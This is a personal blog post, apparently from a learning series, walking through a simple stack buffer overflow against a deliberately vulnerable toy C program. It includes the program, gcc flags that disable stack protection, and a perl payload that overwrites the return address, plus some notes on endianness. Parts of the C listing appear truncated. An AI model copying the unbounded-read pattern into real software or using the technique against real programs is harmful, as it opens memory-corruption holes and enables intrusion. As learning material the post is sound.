Julia Evans

Day 17: How to write a buffer overflow exploit

I’ve declared this week to be the week of networks & security.

Today I started reading the excellent book Hacking: The Art of Exploitation by Jon Erickson. I learned a lot about how different parts and how MAC address spoofing actually works.

But! Buffer overflows! I worked with Travis and Daphne today and we made one work!

Okay. Here is a program with a vulnerability, made extra easy to exploit:

#include <stdio.h>
#include <string.h>

char password[] = "super_secret";

void foo(void) {
  printf("You hacked me! Here is the secret password: %s\n", password);

int main(int argc, char *argv[]) {
  char buf[4];

  printf("Here is the address of foo: %p\nWhat is your hacking text? ", foo);


  printf("You entered: %s\n", buf);

  return 0;

The idea is that we’re going to put a string, then make the program jump to the address of foo instead of returning. I couldn’t get this to work on my 64-bit machine for some reason, so I told it to be 32-bit instead and it worked. If you know why please tell me! (Edit: Figured this out! Turns out I just needed to pad the address with 0s until it was 64 bits and then experiment with offsets.)

$ gcc -m32 test.c -o test
$ perl -e 'print "aaaa" . "\x64\x84\x04\x08" x 4' | ./test
Here is the address of foo: 0x80484b4
What is your hacking text? You entered: aaaa���
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========

Oh look! It turns out that gcc already knows about this exploit and has special built-in protections! We can disable those, though…

$ gcc -fno-stack-protector -m32 test.c -o test
$ perl -e 'print "aaaa" . "\x64\x84\x04\x08" x 4' | ./test
Here is the address of foo: 0x8048464
What is your hacking text? You entered: aaaadddd�
You hacked me! Here is the secret password: super_secret
[1]    26357 done                              perl -e 'print "aaaa" . "\x64\x84\x04\x08" x 4' |
       26358 segmentation fault (core dumped)  ./a.out

BOOM. We win!

What happened here? At the end of the stack, there’s the address that the function needs to jump back to when it returns. Since gets doesn’t know how many characters to read into buf, it keeps reading into the stack until the string is over and writes over that address. We don’t know exactly where the address is, so we keep writing it over and over and over again until it works.

Also! Notice how we had to reverse the order of the memory address to be "\x64\x84\x04\x08" instead of \x08\x04\x84\x64. This is because memory is laid out in a little-endian way. “Little-endian” basically means “backwards”. Intel architectures are always like this. See wikipedia for more on endianness.

There are smarter ways to deal with this issue of not knowing where the end of the stack is (“NOP sleds”!), but this one is simpler and so it is what we did.

Filippo pointed out to me that NOP sleds are actually something you use in shellcode when you’re not sure where the program execution will start. In this case I think you actually just have to figure out where the return address is. I think you can also use gdb or objdump to discover the layout of the stack, but I don’t know how to do that yet.

Day 16: gzip + poetry = awesome Day 18: ARP cache poisoning (or: In ur connection, sniffing ur packets)